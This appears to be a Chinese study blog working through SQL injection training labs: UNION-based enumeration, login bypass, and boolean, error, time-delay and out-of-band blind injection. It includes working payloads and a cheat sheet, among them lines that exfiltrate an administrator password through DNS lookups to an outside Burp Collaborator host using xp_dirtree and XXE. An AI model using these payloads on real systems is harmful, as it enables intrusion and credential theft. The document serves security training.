1 SQL injection

SQL injection

目录


2021 4
2021 12

一、What

  • a web security vulnerability 一个web安全漏洞
  • 攻击者 干扰应用程序
  • 对数据库查询
  • 查看一般情况无法检索的数据
  • 攻击者可以查看并修改
  • sometimes 攻击者可以升级SQL注入 破坏基础服务器,后端基础结构

二、Influence

成功的SQL注入攻击 的 影响

  • 未经授权 访问敏感数据(密码 信用卡详细信息)
  • 声誉受损 监管罚款
  • 攻击者 获得 组织系统持久后门

三、例子 SQL injection examples

1. 检索隐藏数据 retrieving hidden data

  • 通过修改SQL查询 以 返回额外的其他结果

  • 用户点击商品,浏览器请求URL:https://insecure-website.com/products?category=Gifts

  • 导致SQL query 从数据库 检索相关 商品的信息

// 返回 已发布的礼品
SELECT * FROM products WHERE category = 'Gifts' AND released = 1  

// 传入Gifts'--
// 单引号闭合后 --注释掉了后面的
//  所以可以看到所有的礼品
// - released = 1 : 隐藏没发布的商品    - released = 0 :没发布的商品
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 

 
SELECT * FROM products WHERE category = 'Gifts' +OR+1=1 --
// 空格会产生未知情况
// url编码后 20%
// or 逻辑或 1-=1恒真,所以会返回所有的商品
  • 数据库返回 在这里插入图片描述

2. 颠覆应用程序逻辑subverting application logic

  • 更改查询 以 干扰应用程序的逻辑

  • 考虑一个允许用户使用用户名和密码登录的应用程序。 如果用户提交用户名wiener和密码bluecheese,则应用程序将通过执行以下SQL查询来检查凭据:

  • 在这里插入图片描述

  • 在这里,攻击者只需使用SQL注释序列即可以没有密码的任何用户身份登录-从查询的WHERE子句中删除密码检查。 例如,提交用户名“ administrator”和空白密码将导致以下查询

  • 其实就是闭合了,然后注释符将后面的密码注释掉了

在这里插入图片描述

3. UNION 注入

  • 不同数据库表 检索数据

  • 允许同时查询多条记录

  • 各个查询必须返回相同数量的列

  • 每列中的数据类型在各个查询之间必须兼容

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

此SQL查询将返回包含两列的单个结果集,其中包含表1中的a和b列以及表2中的c和d列的值。
为了使UNION查询正常工作,必须满足两个关键要求:

3.1 确定列数

执行SQL注入UNION攻击时,有两种有效的方法来确定从原始查询返回多少列。

法一 :order by 递增列索引
  • 一系列ORDER BY子句,并递增指定的列索引
  • 直到发生错误为止在这里插入图片描述
  • 这一系列有效负载修改了原始查询以按结果集中的不同列对结果进行排序
  • 可以通过其索引指定ORDER BY子句中的列,因此您无需知道任何列的名称。
  • 当指定的列索引超过结果集中的实际列数时,数据库将返回错误,例如:
    在这里插入图片描述
    该应用程序实际上可能在其HTTP响应中返回数据库错误,或者它可能返回一个通用错误,或者仅不返回任何结果。 只要您可以检测到应用程序响应中的某些差异,就可以推断出查询返回了多少列。
法二:NULL值
  • 列数不同则报错
  • 因为NULL可与任何数据类型兼容
    在这里插入图片描述
Lab :用union攻击确定列数

该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。
攻击的第一步是确定查询所返回的列数。 然后,您将在随后的实验中使用此技术来构建完整的攻击。

要解决此问题,请通过执行SQL注入UNION攻击(返回包含空值的附加行)来确定查询返回的列数。

在这里插入图片描述

  1. 使用Burp Suite来拦截和修改设置产品类别过滤器的请求。

  2. Modify the category parameter, giving it the value '+UNION+SELECT+NULL--. Observe that an error occurs.
    在这里插入图片描述
    在这里插入图片描述
    注意是添加不是替换😅
    在这里插入图片描述

  3. 修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--

最终在添加’+UNION+SELECT+NULL,NULL,NULL–后solved
在这里插入图片描述

使用NULL作为从注入的SELECT查询返回的值的原因是,每列中的数据类型在原始查询和注入的查询之间必须兼容由于NULL可以转换为每种常用的数据类型,因此使用NULL可以最大程度地提高当列数正确时有效负载成功的机会。

在Oracle上,每个SELECT查询都必须使用FROM关键字并指定一个有效表。 Oracle上有一个内置表称为DUAL,可用于此目的。 因此,在Oracle上注入的查询将需要如下所示:'UNION SELECT NULL FROM DUAL–。

所描述的有效负载使用双破折号注释序列-注释掉注入点之后原始查询的其余部分。 在MySQL上,双破折号序列后面必须有一个空格。 可替代地,散列字符#可以用于标识评论。

有关特定于数据库的语法的更多详细信息,请参见SQL注入备忘单。

3.2 查找符合的数据类型的列

执行SQL注入UNION攻击的原因是能够从注入的查询中检索结果。 通常,您要检索的有趣数据将采用字符串形式,因此您需要在原始查询结果中查找其数据类型为字符串数据或与字符串数据兼容的一列或多列。
已经确定了所需的列数之后,您可以通过提交一系列将字符串值依次放入各列的UNION SELECT有效负载,来探查各列以测试其是否可以容纳字符串数据。 例如,如果查询返回四列,则您将提交:

在这里插入图片描述
如果列的数据类型与字符串数据不兼容,则注入的查询将导致数据库错误,例如:
在这里插入图片描述

如果没有发生错误,并且应用程序的响应包含一些其他内容,包括注入的字符串值,则相关列适用于检索字符串数据。

Lab: 用union注入找到包含文本的列

在这里插入图片描述

'+UNION+SELECT+NULL,NULL,NULL,NULL--      500 说明不是4
'+UNION+SELECT+NULL,NULL,NULL--		         200 说明是3
'+UNION+SELECT+'a',NULL,NULL--	               	500 说明text不在第一列     
'+UNION+SELECT+NULL,'a',NULL-- 					200 说明字符在第二列

在这里插入图片描述

3.3 检索有趣的数据

Using an SQL injection UNION attack to retrieve interesting data

确定原始查询返回的列数并确定哪些列可以容纳字符串数据后,就可以检索有趣的数据了。
在这里插入图片描述
假设:

  • 原始查询返回两列,这两列都可以保存字符串数据。
  • 注入点是WHERE子句中带引号的字符串。
  • 该数据库包含一个名为users的表,其用户名和密码列。
    在这种情况下,您可以通过提交输入来检索users表的内容:' UNION SELECT username, password FROM users--
    当然,执行此攻击所需的关键信息是有一个名为users的表,该表有两列,分别为username和password。 没有这些信息,您将不得不尝试猜测表和列的名称。 实际上,所有现代数据库都提供了检查数据库结构,确定数据库包含哪些表和列的方法。
Lab: SQL injection UNION attack, retrieving data from other tables

SQL注入UNION攻击,从其他表中检索数据

该实验室在产品类别过滤器中包含一个SQL注入漏洞。 查询的结果将在应用程序的响应中返回,因此您可以使用UNION攻击从其他表中检索数据。
要构造这样的攻击,您需要结合您在以前的实验中学到的一些技术。
该数据库包含另一个名为用户的表,其表名为用户名和密码。要解决此问题,请执行SQL注入UNION攻击,以检索所有用户名和密码,并使用该信息以管理员用户身份登录。

在这里插入图片描述
查询users表中的username和password列,先确定列数,构造查询

'+UNION+SELECT+NULL--			# 报错 不是一列
'+UNION+SELECT+NULL,NULL--		# 200 是两列
'+union+select+'a','b'--		# 200 有回显

'+UNION+SELECT+username,+password+FROM+users--

在这里插入图片描述

3.4 在单个列中检索多个值

在前面的示例中,假设查询仅返回单个列。

  • 通过将值串联在一起,可以轻松地在单个列中一起检索多个值
  • 这里的||是Oracle中的字符串连接符,这样就既能将多列结果合并到单列输出

如果是oracle数据库,可使用如下payload查询用户名和密码:

' UNION SELECT username || '~' || password FROM users-- 

在这里插入图片描述
不同的数据库使用不同的语法来执行字符串连接

Lab: 将注入结果装入单列中

因为我们不知道靶场使用的是什么数据库,所以我们fuzz一下, 注意有两个fuzz的点,Pitchfork模式是因为这两个变量需要是一样的,就是一对一的关系


'+UNION+SELECT+NULL,username$1$'~'$2$password+FROM+users--
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
administrator~ykxoy4eug6rcibqx7p16

在这里插入图片描述

4. 获取数据库信息

  • 提取有关数据库版本和结构信息
    初步识别SQL注入漏洞后,获取有关数据本身的一些信息通常很有用,为进一步开发铺平道路。
    查阅数据库版本的详细信息,完成此操作的方式取决于数据库的类型,因此从可行的技术中推断出数据库类型

在这里插入图片描述

4.1 查询database的类型和版本

不同的数据库提供了不同的查询其版本的方式。 您通常需要尝试不同的查询来查找有效的查询,从而可以确定数据库软件的类型和版本。

确定某些流行数据库类型的数据库版本的查询如下:
在这里插入图片描述
在这里插入图片描述

Lab: 查询Oracle数据库类型和版本

在这里插入图片描述

在这里插入图片描述

'union+select+null+from+dual--		# 500说明不是1
'union+select+null,null+from+dual--	# 200 是两列
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

在这里插入图片描述

Lab: 查询Sql Server和Mysql数据库类型和版本

在这里插入图片描述

'+UNION+SELECT+'abc','def'#
'+UNION+SELECT+@@version,+NULL#

在这里插入图片描述

4.2 列出数据库的内容

Listing the contents of the database

  • 大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,这些视图提供有关数据库的信息。
  • You can query information_schema.tables to list the tables in the database(内置数据库)
SELECT * FROM information_schema.tables

查询结果是

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

有三张表 :Products, Users, and Feedback.

利用内置数据库查询users表下的所有列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE

MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

可看到指定表中的列以及每个列的数据类型。

Lab: 列举非Oracle数据库内容

在这里插入图片描述

'union+select+null--		# 应该是两列
# 查询一下都有哪些表
'union+select+table_name,null+from+information_schema.tables--
# 看到返回了很多表     users_utbczk

# 查这个表下的列
'union+select+column_name,null+from+information_schema.columns+where+table_name='users_utbczk'--
# 返回了 

在这里插入图片描述在这里插入图片描述

'+UNION+SELECT+username_hnulmk,+password_svfrpu+FROM+users_qeayrt
--

在这里插入图片描述

  1. Find the password for the administrator user, and use it to log in.
    在这里插入图片描述
    qw21oh36dwkpg3p66dmu

在这里插入图片描述

4.3 Oracle中等效于信息模式的操作

在oracle上查所有的表

SELECT * FROM all_tables

查所有的列

SELECT * FROM all_tab_columns WHERE table_name = 'USERS' 

简单粗暴

Lab: 列举Oracle数据库内容
# 查表
'UNION+SELECT+table_name,NULL+FROM+all_tables--

# 查列
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--

# 查字段,用户名和密码
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--

在这里插入图片描述
USERS_KQOSIM

'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_KQOSIM
'--

在这里插入图片描述
在这里插入图片描述
USERNAME_ZUJIZG
PASSWORD_CXAOGU

'+UNION+SELECT+USERNAME_ZUJIZG,+PASSWORD_CXAOGU+FROM+USERS_KQOSIM--
在这里插入图片描述
在这里插入图片描述
ue4u3pcv8459ahi47gva
在这里插入图片描述

SQL injection cheat sheet

该SQL注入备忘单包含有用的语法示例,您可以使用这些语法来执行执行SQL注入攻击时经常出现的各种任务。
字符串连接String concatenation
在这里插入图片描述
子串

您可以从具有指定长度的指定偏移量中提取字符串的一部分。 请注意,偏移索引是基于1的。 以下每个表达式将返回字符串ba
在这里插入图片描述
注释

您可以使用注释来截断查询并删除输入之后的原始查询部分。
在这里插入图片描述
数据库版本

您可以查询数据库以确定其类型和版本。 在制定更复杂的攻击时,此信息很有用。
在这里插入图片描述
数据库内容

您可以列出数据库中存在的表以及这些表包含的列。

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

条件错误

您可以测试单个布尔条件,如果条件为true,则触发数据库错误。

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’)
Batched (or stacked) queries
批处理(或堆叠)查询

您可以使用批处理查询来连续执行多个查询。 请注意,在执行后续查询时,结果不会返回给应用程序。 因此,该技术主要用于与盲目的漏洞有关的问题,在该漏洞中,您可以使用第二个查询来触发DNS查找use a second query to trigger a DNS lookup,条件错误或时间延迟。在这里插入图片描述
使用MySQL,批处理查询通常不能用于SQL注入。 但是,如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信,这有时是可能的。

时间延迟

处理查询时,可能导致数据库中的时间延迟。 以下情况将导致10秒的无条件时间延迟。在这里插入图片描述
有条件的时间延迟

您可以测试单个布尔条件,并在条件为真时触发时间延迟。
You can test a single boolean condition and trigger a time delay if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),‘a’)

DNS查询

您可以使数据库对外部域执行DNS查找。 为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认是否发生了DNS查找。

Oracle以下技术利用XML外部实体(XXE)漏洞来触发DNS查找。 该漏洞已得到修补,但是存在许多未修补的Oracle安装:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
以下技术适用于完全修补的Oracle安装,但是需要提升的特权:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQLThe following techniques work on Windows only:LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
DNS查找与数据渗透

您可以使数据库对包含注入查询结果的外部域执行DNS查找。 为此,您将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被窃取的数据。

Oracle`SELECT extractvalue(xmltype(‘<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://’
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQL在这里插入图片描述
MySQLThe following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

5. 盲注

  • 查询结果不会在任何应用响应里 返回
  • 看不到结果,还是会执行查询语句
  • 通过仅给的反馈来判断
  • 更复杂
  • 许多技术(例如UNION注入)并不有效
  1. 更改查询逻辑

以根据单个条件的真实性触发应用程序响应中可检测到的差异。 这可能涉及向某个布尔逻辑中注入新条件,或有条件地触发诸如零除之类的错误。

  1. 时间延迟

给句应用程序响应时间推断条件的真相。

  1. 使用OAST技术出发外网络交互.

您可以使用OAST技术触发带外网络交互。 该技术非常强大,可以在其他技术无法使用的情况下使用。
通常,您可以直接通过带外通道窃取数据,例如,将数据放入您控制的域的DNS查找中。

5.1 What is blind SQL injection?

5.1 触发条件 发动盲注

5.2 通过触发条件响应来利用盲目SQL注入

  • 考虑一个使用跟踪cookie收集有关使用情况的分析的应用程序。
  • 对应用程序的请求包括一个cookie标头
  • 处理包含TrackingId cookie的请求时,应用程序将使用以下SQL查询来确定这是否是已知用户:Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' 
  • 因为在cookie字段中,查询的结果不会返回给用户。

  • 但是,应用程序的行为会有所不同,具体取决于查询是否返回任何数据。

  • 如果返回数据(由于提交了公认的TrackingId),则页面内将显示“欢迎回来”消息。

  • 行为足以利用盲SQL注入漏洞并通过根据注入条件有条件地触发不同的响应来检索信息。

  • 要查看其工作原理,假设发送了两个请求,这些请求依次包含以下TrackingId Cookie值:

 …xyz' AND '1'='1     //返回结果
 …xyz' AND '1'='2     // 注入的条件为false,因此将不会显示“欢迎回来”消息
  • 我们可以通过发送一系列输入来一次一次测试一个密码来系统地确定该用户的密码。
 xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm                  //这将返回“ Welcome back”消息,指示注入的条件为true,因此密码的第一个字符大于m 。 
	
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't 				// 这不会返回“ Welcome back”消息,表明注入的条件为假,因此密码的第一个字符不大于t。
 我们可以继续此过程,以系统地确定管理员用户的完整密码。
 在某些类型的数据库上,SUBSTRING函数称为SUBSTR。 有关更多详细信息,请参见SQL注入备忘单。
Lab: 通过条件响应发动盲注

注意拼接构造的语句到数据库后是有闭合的

# 确定有个表是users
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

# 确定用户名是administrator
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

# 先判断一下密码的长度,构造,在1处标记,爆破长度
'+union+select+'a'+from+users+where+username='administrator'+and+length(password)=1--       

在这里插入图片描述

在这里插入图片描述
只有这个长度不一样,且回包里有welcome back 其余都没有,可知密码长度事20
在这里插入图片描述

u5YD3PapBcR4lN3e7Tj4’ AND ‘1’='1


它把这个当成一个字符串拼接进去,就会整体套一对单引号

```sql
'u5YD3PapBcR4lN3e7Tj4' AND '1'='1'

AND从字符串变成一个逻辑运算符了
什么时候为真,就是AND前后都是真的时候嘛
在这里插入图片描述

================================
初学时候也太傻了,但是是帮助我理解这个过程的
下面直接用burp的intruder破解passwd位数

' union select 'a' from users where username='administrator' and length(password)=1--

在这里插入图片描述 在这里插入图片描述

在这里插入图片描述 在这里插入图片描述

接着逐步猜解每一位的密码

' union select 'a' from users where username='administrator' and substring(password,1,1)='a'--
// substring(password,起始,步进值)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
开始爆破

在这里插入图片描述

在这里插入图片描述

去理解sql盲注的 返回(AND的逻辑值来验证,确定表名确定用户名、密码长度、每一位密码)

5.3 报错型

  • 通过触发SQL错误来诱导条件响应 Inducing conditional responses by triggering SQL errors

  • 若不管查询结果如何 但相应包都一样,上面的不再有用

  • 取决于注入的条件,通常有可能通过有条件地触发SQL错误来促使应用程序返回条件响应。

  • 这涉及修改查询,以便在条件为true时将引起数据库错误,而在条件为false时不会导致数据库错误

  • 通常,数据库引发的未处理错误将导致应用程序响应有所不同(例如错误消息),从而使我们能够推断出注入条件的真实性。

  • 要查看其工作原理,假设发送了两个请求,这些请求依次包含以下TrackingId Cookie值:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a			// 直接走else a=a  整条正确,得出注点错误
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a 			// 触发零除   整条导致错误,得出注点条件是对的
// 将简单的1=1 的布尔注入条件换成sql语句
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a 

触发条件错误的方式有很多种,并且不同的技术在不同的数据库类型上效果最佳。 有关更多详细信息,请参见SQL注入备忘单。

Lab: 用sql语句报错触发相应
  • 正确的sql语句要么没回显,要么回显都一样
  • 想办法构造一个错误的sql语句,得到有用的回显
  • password=1 -19 回包都是200没回显 20的时候500,说明长度是20
  • 20的时候触发了零除,给server是错的
  • 也可以在password进行爆破
# 判断密码长度,
' union select case when (username='administrator' and length(password)=1) then to_char(1/0) else null end from users--

知道了密码的长度是20,接着每一位进行爆破

' union select case when (username='administrator' and substr(password,1,1)='a') then to_char(1/0) else null end from users--

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.4 触发时间延迟 利用盲注

  • 这回更猛了,直接不管你什么语句,都是一个样的响应

  • SQL查询通常由应用程序同步处理

  • 因此延迟执行SQL查询也会延迟HTTP响应

  • 触发时间延迟的技术与所使用的数据库类型高度相关。

  • 一次测试一个字符

// 在Microsoft SQL Server上,可以使用以下类似的输入来测试条件并根据表达式是否为真触发延迟:
'; IF (1=2) WAITFOR DELAY '0:0:10'--     // 1=2为假,不会出发延迟
'; IF (1=1) WAITFOR DELAY '0:0:10'-- 	// 触发10秒钟的延迟,因为条件1 = 1为真。
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- 

Lab: 触发延时1

在这里插入图片描述Modify the TrackingId cookie, changing it to: TrackingId=x'||pg_sleep(10)--

在这里插入图片描述
在这里插入图片描述

Lab: 触发延时2

在这里插入图片描述

x' select case when(username='administrator' and substring(password,1,1)='a') then pg_sleep(0) end from users--

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

fbqsyhsb1pinpbkapi4k

???试过了
不对

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

zidmb7wamemlonbbk4cu
在这里插入图片描述

5.5 使用带外(OAST)技术利用盲SQL注入

  • 带外技术就是系统与外部网络进行交互的技术

  • 现在,假设应用程序执行相同的SQL查询,但是异步进行。

  • 应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询

  • 该查询仍然容易受到SQL注入的攻击,但是到目前为止,所描述的技术都不起作用

  • 应用程序的响应不取决于查询是否返回任何数据,数据库是否发生错误或执行所花费的时间

  • 通常有可能通过触发与您控制的系统的带外网络交互来利用SQL盲注漏洞。 如前所述,可以根据注入的条件有条件地触发这些操作,以一次推断一位信息。 但是更强大的是,可以直接在网络交互本身中渗入数据。 But more powerfully, data can be exfiltrated directly within the network interaction itself.

  • 各种网络协议都可以用于此目的,但是最有效的通常是DNS(域名服务)。 这是因为非常多的生产网络都允许DNS查询的自由出口,因为它们对于生产系统的正常运行至关重要。

  • 使用带外技术的最简单,最可靠的方法是使用Burp Collaborator。The easiest and most reliable way to use out-of-band techniques is using Burp Collaborator. 这是一台服务器,提供各种网络服务(包括DNS)的自定义实现,并允许您检测由于将单个有效负载发送给易受攻击的应用程序而导致何时发生网络交互。 Burp Suite Professional 内置了对Burp Collaborator的支持,无需进行任何配置。

  • 可以理解为一个轻量级的Web服务器,它可以生成临时地址,当有发往该地址的请求时,在这款工具上就可以接收到请求,这款工具可以接收HTTP和DNS流量,可以用于利用带外技术发动的攻击

  • 触发DNS查询的技术与所使用的数据库类型高度相关。 在Microsoft SQL Server上,可以使用类似以下的输入来在指定域上引起DNS查找:'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'-- 这将导致数据库对以下域执行查找:0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net 您可以使用Burp Suite的Collaborator客户端生成唯一的子域,并轮询Collaborator服务器以确认何时进行任何DNS查找。

Lab : Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the SQL injection vulnerability to cause a
DNS lookup to Burp Collaborator. 该实验室包含一个盲目的SQL注入漏洞。
该应用程序使用跟踪cookie进行分析,并执行一个SQL查询,其中包含提交的cookie的值。

SQL查询是异步执行的,对应用程序的响应没有影响。 但是,您可以触发与外部域的带外交互。

要解决此问题,请利用SQL注入漏洞对Burp Collaborator进行DNS查找。

在这里插入图片描述

  1. 访问商店的首页,并使用Burp Suite拦截和修改包含TrackingId cookie的请求。
  2. 修改TrackingId cookie,将其更改为有效负载,该负载将触发与Collaborator服务器的交互。 例如,可以将SQL注入与基本XXE技术结合使用,如下所示:TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.
  3. 此处描述的解决方案足以触发DNS查找,因此可以解决实验室问题。 在实际情况下,您将使用Burp Collaborator客户端来验证您的有效负载确实触发了DNS查找,并可能利用此行为从应用程序中窃取敏感数据。 在下一个实验中,我们将介绍这种技术。
    在这里插入图片描述
    在这里插入图片描述
    应该是顺序反了,单解决了lab3
    这个就很简单了

use the out-of-band channel to exfiltrate data
确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。 例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
此输入读取管理员用户的密码,附加唯一的Collaborator子域,并触发DNS查找。 这将导致如下所示的DNS查找,从而允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net 

带外(OAST)技术是检测和利用盲SQL注入的一种非常强大的方法,这是因为成功的可能性很高,并且能够直接在带外通道中窃取数据。 因此,即使在其他盲目开采技术确实起作用的情况下,OAST技术也通常是首选的。

有多种触发带外交互的方法,并且不同的技术适用于不同类型的数据库。 有关更多详细信息,请参见SQL注入备忘单。

Lab :Blind SQL injection with out-of-band data exfiltration

带外数据渗透的盲SQL注入
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.
这个实验室有一个盲目SQL注入漏洞。应用程序使用跟踪cookie进行分析,并执行包含提交的cookie值的SQL查询。SQL查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。数据库包含另一个名为users的表,列名为username和password。您需要利用SQL盲注入漏洞来找出administrator用户的密码。要解决这个实验室,请以管理员u登录
在这里插入图片描述

  1. 访问商店的首页,并使用Burp Suite Professional拦截和修改包含以下内容的请求: TrackingId cookie.
  2. Go to the Burp menu, and launch the Burp Collaborator client.
  3. 单击“复制到剪贴板”,将唯一的Burp Collaborator有效负载复制到剪贴板。 使Burp Collaborator客户端窗口保持打开状态。
  4. 修改TrackingId cookie,将其更改为有效载荷,该有效载荷将在与Collaborator服务器进行交互时泄漏管理员的密码。 例如,可以将SQL注入与基本XXE技术结合使用,如下所示:TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--.
  5. 返回到Burp Collaborator客户端窗口,然后单击**“立即轮询”poll now**。 如果未列出任何交互,请等待几秒钟,然后重试,因为服务器端查询是异步执行的。
  6. 您应该看到由于负载而由应用程序启动的一些DNS和HTTP交互。 管理员用户的密码应显示在交互的子域中,您可以在Burp Collaborator客户端中查看该密码。 对于DNS交互,在“描述”选项卡中显示了已查找的完整域名。 对于HTTP交互,完整域名显示在“请求协作者”选项卡的“主机”标题中。
  7. 在浏览器中,单击“我的帐户”以打开登录页面。 使用密码以管理员用户身份登录。

问题:xs (顺序搞反了,然后上来先做这个改字段你都不会)
如何burp 拦截 和修改trackingId cookie?在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
流泪,终于搞出来了
在这里插入图片描述
在这里插入图片描述
把那个查询结果拼接到URL最前面;因为是自动生成的靶场,所以密码也是随机的啊/users是默认用来装数据库用户信息的表/然后username是里面一个内置字段/这里的知识是结合了xxe漏洞的
在这里插入图片描述
在这里插入图片描述
Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This will result in a DNS lookup like the following, allowing you to view the captured password: S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是检测和利用盲SQL注入的一种非常强大的方法,这是因为成功的可能性很高,并且能够直接在带外通道中窃取数据。 因此,即使在其他盲目开采技术确实起作用的情况下,OAST技术也通常是首选的。
有多种触发带外交互的方法,并且不同的技术适用于不同类型的数据库。 有关更多详细信息,请参见SQL注入备忘单。

5.6 如何避免盲注攻击?

